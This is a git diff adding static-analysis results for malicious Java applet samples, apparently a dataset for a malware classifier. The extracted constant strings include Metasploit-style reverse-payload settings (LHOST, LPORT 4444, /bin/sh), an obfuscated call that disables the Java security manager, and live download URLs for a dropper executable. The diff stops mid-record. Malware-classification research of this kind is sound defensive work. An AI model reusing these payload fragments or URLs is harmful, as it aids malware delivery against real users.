"verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IL,PL,PN,pn,pN,pN,pn,pn,pY,yK,Kg,pU,PU,Pa,Or,DM,q4,p7,pE,Pg,pL,Ks,pd,LN,kr,Pu,LN,Ml,KQ,xw,Po,pS,Mv,lv,S4,46,cL,VZ,KX,sL,KE,8W,xN,kL,72,J4,DR,yZ,Hl,O7,p7,pu,PK,RK,Ic,XR,O2,NS,0u,PP,hp,us,BR,LB,Mv,4k,OV,vN,kj,HZ,HR,YC,0u,PW,pN,kk,gs,wM,Pg,OE,PR,U9,jB,g1,Gc,wM,PW,OU,P3,Ex,zl,KJ,Oq,Op,3H,Io,qX,lW,t6,aU,Pw,pn,ky,LF,1r,r6,3R,Hc,45,QU,Pu,PK,O1,Ft,Lr,zf,9p,QQ,BN,kV,bb,s1,SK,05,kU,Pb,Uk,Jn,aq,kk,LD,nu,5P,xR,Et,5v,cM,SJ,KD,Hm,Yw,sO,7a,Se,TV,Nu,52,XP,eo,6Q,S5,Xs,0q,KL,Jk,qW,tv,Pm,Xq,Ue,PP,3Y,P0,P2,pB,sF,70,PK,OS,fd,PO,sL,8W,pp,u3,63,Zu,QC,c9,oa,FT,DS,jq,IM,SX,Bu,Ta,QM,Pt,zw,pP,ux,4k,Ov,6E,Xp,Q0,Vl,KP,uu,lN,kP,tu,eT,8v,cJ,UV,6L,KQ,fE,pu,Sx,ut,sZ,iS,yq,QL,mG,sk,uT,sK,kV,oo,N4,P4,xL,2t,4t,Hz,aX,KT,Mt,Cx,Z7,0h,kz,Qu,k5,Oq,eY,w3,nl,K3,nW,Tc,3I,M1,vL,K4,LP,Kn,ka,Ne,Lu,SI,ML,K4,DN,ks,3y,UL,kQ,NQ,IJ,cz,H5,Pk,Oi,oK,ON,np,NT,Nj,LL,Xy,nN,jt,NS,Nn,8X,bp,s6,Sx,JO,zS,ku,fe,Jv,Or,Ps,fS,ip,pp,GU,Pc,XQ,d2,Tr,P4,zf,Of,OS,Qr,DT,3t,nB,Nd,5V,NB,M1,eD,o5,9R,N1,vr,Ot,o2,UT,34,qF,N0,hr,TP,m2,Lf,O2,N0,06,Pv,Xv,Qd,pv,VU,bV,PF,Q5,cv,Qt,x3,BT,pU,dV,PV,Yq,Zf,P3,Tv,Pt,pF,PW,Ff,Pe,aS,bg,I3,T0,4V,Xv,W0,1V,Y1,t1,G0,eq,s7,Eg,Fu,iE,6W,BT,wp,Xv,Ps,TF,R4,uc,Uq,qV,SP,bq,IV,Tv,VR,FU,5t,r5,f0,at,uR,zp,0V,Q6,Pf,Pc,Vt,p6,Wf,PS,0s,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "868d8a0fd316ed763d5e5d2e30a751bac086bc1a", "file_name": "java_malicious/6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671", "_id": "3beb7e38-6556-4ef7-9a3b-4b96151840a2", "score": 0, "entropy": 6.0001566988258155, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3075, "ssdeep": "96:hFFlkSrljHtsdtJjQzLRxC92XQjt9bKsCn:1lhts5QzLRxEkQpRKx", "sha256": "6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671", "md5": "b17e5cbd9f9d79acfd84b7c409934dbb", "parent_sha256": "6dce4dc3dbcf50c6f3bfce2969079aa9bd9a1cc1607bb2b428248d7e8d667671"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa.results b/java_classification/data/malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa.results new file mode 100755 index 0000000..9d77165 --- /dev/null +++ b/java_classification/data/malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "yYinxa.java", "class_name": "yYinxa", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "obwpjjg", "xmjmR", "Ujjabdcv", "LIOvM"], "minor_version": 0, "const_pool_count": 140}}, "_id": "254cc0de-ffc4-4dc1-80fa-9ce06a789e7a", "verbose": {"java": {"constant strings": ["\\x19\\x12\\x05\\x12]\\x1d\\x16\\x07]&!?", "\\x1c\\x03\\x16\\x1d \\x07\\x01\\x16\\x12\\x1e", "\\x19\\x12\\x05\\x12]\\x1a\\x1c]5\\x1a\\x1f\\x16<\\x06\\x07\\x03\\x06\\x07 \\x07\\x01\\x16\\x12\\x1e", "\\x04\\x01\\x1a\\x07\\x16", "close", "\\x16\\x0b\\x16\\x10", "\\x01\\x16\\x14\\xc0\\x80\\x05\\x01@AS^\\xc0\\x80SQ", "Q", "", "\\x19\\x12\\x05\\x12]\\x1a\\x1c]\\x07\\x1e\\x03\\x17\\x1a\\x01", "]\\x16\\x0b\\x16"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a74b72983285234f7665032390a5178f3071bfbc", "file_name": "java_malicious/6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa", "_id": "254cc0de-ffc4-4dc1-80fa-9ce06a789e7a", "score": 0, "entropy": 5.858929477322526, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2672, "ssdeep": "48:Jg7lyFlCC/syVE2i+9e0CCk/VSTcjFMpA9wMZM3YouG3iZ9+7CCdev9d:JcwFlCCPZw00/M4JM+wMOHuHZ95wGv", "sha256": "6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa", "md5": "0c4dbfeebb4a6d4f71d23648f534ea83", "parent_sha256": "6e0fcd06134b43bf404f5822584ce29f3660407b26527647346eeb10e237f9fa"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26.results b/java_classification/data/malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26.results new file mode 100755 index 0000000..63c1810 --- /dev/null +++ b/java_classification/data/malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "callBack"], "minor_version": 0, "const_pool_count": 113}}, "_id": "40a4280c-c758-4918-a5a6-32e0b83108bd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.147266762059739}, "constant strings": ["js", "applet", "11j00a22v33a44.55l66a77n88g44.33S44y544522s55t66e77m88.99s00e8t7S453e2c1u3r3i4t5y6M7a5n4a3g4e5r6(7n4u3l2l2)1;", "this.toString = function() {", "\\\\d", "", "\\tapplet.callBack();", "};", "e = new Error();", "e.message = this;", "e", "calc.exe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "40241387a344b89fd07bce47ba0fa600411188dc", "file_name": "java_malicious/6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26", "_id": "40a4280c-c758-4918-a5a6-32e0b83108bd", "score": 10, "entropy": 5.777662844609662, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2226, "ssdeep": "48:xHvtt8rByFlP6unyQ8RkedgPV6H8YJjMkz5tjb1:xvbgcFlPBn5vedg08Qtz5t1", "sha256": "6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26", "md5": "884134e59f8a1c0dda318996dd77ea1f", "parent_sha256": "6e5d9729702d1b3e17516720f44455439a36209eb1ad442820c55d07280d6d26"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54.results b/java_classification/data/malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54.results new file mode 100755 index 0000000..ee0a735 --- /dev/null +++ b/java_classification/data/malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "xddZv.java", "class_name": "xddZv", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "WUAXN", "nvmvl", "swciQw", "khSDX", "VqsreKX", "kJXLf", "SzHLmhXbP", "dnFJVEiVx"], "minor_version": 0, "const_pool_count": 157}}, "_id": "5881f39e-32ee-41f9-8ff5-a65e10a35644", "verbose": {"java": {"constant strings": ["\\x1e\\t\\x1c", "\\x1f\\x08\\x1d\\x1e\\x18\\x12\\x10\\x11\\x1f\\x08\\x17\\t\\x1cZ\\x11\\x14\\x1c\\x17", "\\x12\\t\\x1e\\t\\x10\\x10", "\\x1d\\x1d", "\\x0e\\x08\\x0e\\x08", "\\x0c\\x1d\\x0e\\x0f\\x1e\\t\\x1b", "", "\\x08\\x0e\\x03\\x1f", "\\x0c\\x1d\\x1e\\t\\x1b", "\\t\\x1c\\t\\x1e", "\\x08\\x0e\\r\\r\\x03\\x1f", "\\x0c\\x1d\\x0b\\x1e\\t\\x1b"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "57198523861a686e47d045e4c4ab6b50fdf143bf", "file_name": "java_malicious/6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54", "_id": "5881f39e-32ee-41f9-8ff5-a65e10a35644", "score": 0, "entropy": 3.4407947218441803, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 22003, "ssdeep": "192:AjZrUgq4tv5mSpRzsUh/MnBYvoCF0NtGd5C9x9TQN4:ihjJ6BYj0sC9x9MN4", "sha256": "6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54", "md5": "072cb5300ff5d8389ad0a5b7dd0738dd", "parent_sha256": "6e8f149dd053ce055c0befaa977b0416007c9dc0646f8f5288a2d8fbc4ec5b54"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b.results b/java_classification/data/malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b.results new file mode 100755 index 0000000..c466b21 --- /dev/null +++ b/java_classification/data/malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ismnhtirdvf", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "jcjubyrwtpbbjimvjkx", "xxervmcbghqiwatws", "cdghfdigpdyfgebe", "dtwhkmxmrkbaocnxidv", "toghopualzgwotp", "wyxjgvdngdtordls", "oxnitdcsgnbmvizkjub", "zbucmtyhtrrbmqz", "jokwubvsocbvkzqfw", "yejrhgsdwfyuofw", "init", "prxxoocmgydujnf", "yqufaftqkpfmevpvmq", "aidxagvrwsjnboee", "tqmtegsrnxumbyh", "jsiaquwkkdzhdsqgne", "qmoofxdvnypvtokuu", "biecibriorxrorilg"], "minor_version": 0, "const_pool_count": 343}}, "_id": "a769a64b-9478-4931-bc44-1efdad416e26", "verbose": {"java": {"constant strings": ["hnqpxwisgquhauyfijnlkffkufl", "mhteegjxwmxwploil", "n", "bjbnfimudhsrzrko", "pptp", "bhioqinnbtk", "xfwsbyeoyzckttg", "", "yxxkc", "ekdpsaieltjfobdjfdutzxh", "hxzqgpo", "tanpmfmnrbndqfbann", "rrekjstmmzhpawivkwcskconvjekf", "hywbjilwdxmfndrsnbfyyjr", "rl", "tyhjzeeftlkcbucelruhvtptp", "ehjqm", "kib", "onnhlnguwcnlw", "qbqhjanhpgvassipkxttjkwpmoon", "qczqxhramgqqjwfzovtgcckbjhi", "jmxprbiupjrfetvonpppno", "zuxkobpqjyxz", "cqeb", "cykoovyvkegft", "meiwnfikppn", "deaxyglvwrmrqhqsyprw", "dztyuuyghxbqxvgibozrq", "rjna", "jdcniuaamadexnopvz", "wuii", "haozpjaxr", "trqwbhcaavvlqddwz", "baoougauduz", "ud", "fzginpphfthksxp", "acnpdstykvl", "mvtbjxhyszcorsuoib", "ptpxznryhxypm", "eiujmabvwymnm", "twirigmizqbxqkl", "tvonsxjen", "rhvezhtjkc", "twhplbqjjgvjdqljglecnkyqbu", "xoslcxymlchahiqpwpdrqcprlvazz", "pbscordwcfmhugqmsdosrkbrds", "tnwiqriqdmqt", "vtfjqouipjlv", "buncgrgylcw", "nerdkvujrgafgziizbvcslgqd", "aruziudil", "t", "h", "e", "U", "s", "a", "f", "cnifadibgwbxahyyzrktijxnc", "nkxqutgdj", "wgjullqutloiv", "beyolilcvhcbqmiogheygnrlujkov", "nvttcstecsaadausydeyqatgfdw", "hpqbsmcpuf", "xlpglf", "qzut", "zgmzwmmrtwfdumfdx", "ltamy", "gkvyhbrsktppgebwbchl", "dwqwzl", "tprdtmzfnnhywgblmbxojveudqmvr", "ueajfvbcgiqngfaltohnbkk", "zojfy", "l", "zvximysjnahddwefikczmmaqh", "tccsfkdkkoq", "dqewzjfa", "oz", "davboyqp", "crjpaxqtxvxhgpxiatvzve", "ydzrxgftdutkpeliptztgmrwkg", "mkyicfemxypdqltvvdoscwazluncs", "jdvzmv", "ypngmrykpfdl", "ubqvnycco", "quolpkhhtcggamlpo", "xmls", "lwypuervlvytmbtslfaprygnuhrgs", "spjgmlvzbd", "vgnnn", "kgcswirgyy", "jqd", "cchdbbfhvbjf", "mhpcykccigthmdmzaly", "mayvjumxpbbsetrpzkvk", "tbvtydwn", "pjrdpqvlosqhsvfqqhfazhqlznzbv", "hddbaagcnl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "63528f56a740a01ff4ef8084778e409699283860", "file_name": "java_malicious/6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b", "_id": "a769a64b-9478-4931-bc44-1efdad416e26", "score": 0, "entropy": 5.812240502511847, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6994, "ssdeep": "96:9T+VfjsrrEUduPKORs2+JCkskADx/4l1xOUAXCglN52oBRPbRp1sbNLk85EXB9nC:95nEcuSO9DZgarDRjRAZZ2RU", "sha256": "6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b", "md5": "bb9fefdb72999c2c17abf997330f7bff", "parent_sha256": "6f258de3cd0ef0ea9ae3398a6aadfd819814b4359a705cd07e9250df47945c7b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7.results b/java_classification/data/malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7.results new file mode 100755 index 0000000..1161afb --- /dev/null +++ b/java_classification/data/malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ddr_uuidjadis1.java", "class_name": "ddr_uuidjadis1", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "fbrgffrrgwerrwefref", "asd_asdasd_Asd"], "minor_version": 0, "const_pool_count": 71}}, "_id": "387e7f09-4892-48bb-9ace-6e6937a3dc41", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.9985534334598767}, "constant strings": ["", "ce", "wfwfrw adr3 grvrw adr3 grvr", "adfegt4r3qw fe4t2\\t3 qrfet2 r3adfegt4r3qw fe4t2\\t3 qrfet2 r3adfegt4r3qw fe4t2\\t3 qrfet2 r3", "XZE", "IKJ"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "aa8c96cec8cf578057275bf084099c2a5c810000", "file_name": "java_malicious/70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7", "_id": "387e7f09-4892-48bb-9ace-6e6937a3dc41", "score": 0, "entropy": 5.595007294075409, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1405, "ssdeep": "24:9GiyQul3q6ydoKqtfS8FfTrr4GoGJXFoe2reUbnGwm:9vyFl6/2KqtfSeoYX52SUbnS", "sha256": "70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7", "md5": "fe6057723d0f5175687039657e5542b2", "parent_sha256": "70c4ba2d229bb5e626c4a615353e3e63f2e131391ae356220fa9aa3b04cf49b7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238.results b/java_classification/data/malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238.results new file mode 100755 index 0000000..8ba907b --- /dev/null +++ b/java_classification/data/malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "eCFArgUGnV/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "d8bf928f-9437-4a06-8d8e-8b059dab7cec", "verbose": {"java": {"constant strings": ["eCFArgUGnV.Payload", ".class", "/eCFArgUGnV.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "eCFArgUGnV.dat", "URL", "", "https:", "eCFArgUGnV/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "eCFArgUGnV/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "eCFArgUGnV.PayloadTrustManager", "useFor", "java.net.URLConnection", "eCFArgUGnV.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaLPAbmvh.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f204652585c4634fbe753c3cba4dec270df1b7b", "file_name": "java_malicious/719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238", "_id": "d8bf928f-9437-4a06-8d8e-8b059dab7cec", "score": 0, "entropy": 6.138657150146168, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMaDUB1+W0TThmgGxAIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tC1+tmn8NvpvUrKYvCkgHzbDrDF", "sha256": "719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238", "md5": "976cbe8da349683aa6e6478257c94c38", "parent_sha256": "719d57d61a4942a842401161bc282476ddab6aa4c043f796e0470b250173e238"}} \ No newline at end of file diff --git a/java_classification/data/malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646.results b/java_classification/data/malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646.results new file mode 100755 index 0000000..619f13f --- /dev/null +++ b/java_classification/data/malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "cyXpc.java", "class_name": "hhIji/cyXpc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "IYYIii", ""], "minor_version": 0, "const_pool_count": 359}}, "_id": "54045210-17f7-4af4-9490-41804b18ab10", "verbose": {"java": {"constant strings": ["?6!#!6", "+6!#!6", "(6!#6", "($6!", "3$6$", "$&", "=6!"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5d7ec8412160182e7016e845c9caa79b793ff42c", "file_name": "java_malicious/71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646", "_id": "54045210-17f7-4af4-9490-41804b18ab10", "score": 0, "entropy": 5.010358249976696, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6255, "ssdeep": "192:blqRgTimAEX2J43lol1sG5F0hRBHrDa6Du:blqRgTi1EX2J43lo8K0Rre6S", "sha256": "71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646", "md5": "89beb6af0259fbb50726e39ebe0b6628", "parent_sha256": "71b71e2cefde8d48401981d2b4c54bc470756d117ec49854fc943e2300759646"}} \ No newline at end of file diff --git a/java_classification/data/malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91.results b/java_classification/data/malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91.results new file mode 100755 index 0000000..488c43b --- /dev/null +++ b/java_classification/data/malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "FDIVazrVzX/eenWexN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "35070ec7-553c-49f9-98d9-d010d5dbe634", "verbose": {"java": {"constant strings": ["FDIVazrVzX.eenWexN", ".class", "/FDIVazrVzX.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "FDIVazrVzX.dat", "URL", "", "https:", "FDIVazrVzX/eenWexNTrustManager.class", "eenWexNTrustManager.class", "AESPassword", "FDIVazrVzX/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "FDIVazrVzX.eenWexNTrustManager", "useFor", "java.net.URLConnection", "FDIVazrVzX.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "eenWexN -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7b18d5ffe06d815d56d2674cbba14503cda5b7c5", "file_name": "java_malicious/72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91", "_id": "35070ec7-553c-49f9-98d9-d010d5dbe634", "score": 0, "entropy": 6.1452699480270745, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMkDUBl+W+3Thm/Y8xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tslstm5yNvpvUrKYvCkgHzbDrDF", "sha256": "72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91", "md5": "1d15ee4a2171de642e5098c4c8b3ea75", "parent_sha256": "72087717c95a73d98fb93cf0f76ff3f22c7129aef73aeb3ce74e5f27592eac91"}} \ No newline at end of file diff --git a/java_classification/data/malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac.results b/java_classification/data/malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac.results new file mode 100755 index 0000000..e63ea62 --- /dev/null +++ b/java_classification/data/malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "fawa.java", "class_name": "fawa/fawa", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "fawa", "fawc", "fawa", "fawb"], "minor_version": 0, "const_pool_count": 62}}, "_id": "d5d484bf-2768-41f4-8f26-4d8d776fc2d7", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1900df9bf2d9494743e640ff4e5ce1c39a073b1", "file_name": "java_malicious/73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac", "_id": "d5d484bf-2768-41f4-8f26-4d8d776fc2d7", "score": 0, "entropy": 5.160549125459742, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 960, "ssdeep": "24:4Z2sFG5BA/p8zqG4urKFxllHraM/9il73:4UsYA/pA9Fix3HraMg73", "sha256": "73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac", "md5": "4955a7b47e068075e149dd144b32f624", "parent_sha256": "73781efe113ae89a1d65452ea69af63ee312fa0e7f7ad886c0db0e39490534ac"}} \ No newline at end of file diff --git a/java_classification/data/malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e.results b/java_classification/data/malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e.results new file mode 100755 index 0000000..7f541c3 --- /dev/null +++ b/java_classification/data/malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "35cceafb-ed5a-452b-9cf4-f0ebb5d9791f", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.6660359127626885}, "constant strings": ["no error", "os.name", "http://buytraff.biz/dl/loadadv675.exe", "\\\\loadnew.exe", "http://buytraff.biz/dl/cheat.php?adv=adv675"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e6d019ad342ceb77ee2ad4c584a680440c484a10", "file_name": "java_malicious/73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e", "_id": "35cceafb-ed5a-452b-9cf4-f0ebb5d9791f", "score": 0, "entropy": 5.887955347907279, "libmagic": "compiled Java class data, version 45.3", "file_size": 2945, "ssdeep": "48:9JrYyss0yFlS/vJ4RPXTwe5Hj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhyXTCTtcSkjfcGcEk51rX2oh", "sha256": "73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e", "md5": "3d4a62953eca502e4f5714874d929024", "parent_sha256": "73ed98c68dc09a027c0a105cb254d16d0e44095c6320928b1c1610b39ebe7e9e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d.results b/java_classification/data/malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d.results new file mode 100755 index 0000000..7f02106 --- /dev/null +++ b/java_classification/data/malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "FtU", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedExceptionAction"], "major_version": 49, "method_names": ["", "CXNuKpq", "KXPbwKNpAU", "run", "TERNdcCuY", "XqHSS", "SRhXTtk", "EpPEhGAu", "sffb"], "minor_version": 0, "const_pool_count": 213}}, "_id": "51b8b5c2-de50-4d3f-9f08-662bea7aaf16", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.827155752852566, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "eged"}}}, "constant strings": ["990000do,,,,Pr,,,,,,,,,,,,ivil", ",", "", "eged", "9,9,1,154678907\\\\\\\\", "397", "30", "90", "9,,000et", "S", "9,,,,,,,s", "000curi", "0ty", "000Ma", "000nage", "8000clo", "se", "="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d0b3275042c6508179207b0808ac3589717f1b16", "file_name": "java_malicious/7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d", "_id": "51b8b5c2-de50-4d3f-9f08-662bea7aaf16", "score": 0, "entropy": 6.016867157756088, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5212, "ssdeep": "96:jyp1VETAuEdvnBRZYHfX2cqeOfao/tyZTui:e1uaBUecNZP", "sha256": "7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d", "md5": "231381141ca947e8da7cb545a8b68b17", "parent_sha256": "7407049ca54e1c72fe7fdab9b3547dc7090a0188bc1b0b215cf7b01b2f5a284d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919.results b/java_classification/data/malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919.results new file mode 100755 index 0000000..a820da6 --- /dev/null +++ b/java_classification/data/malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DwuoIV.java", "class_name": "qYgzrtb/DwuoIV", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, 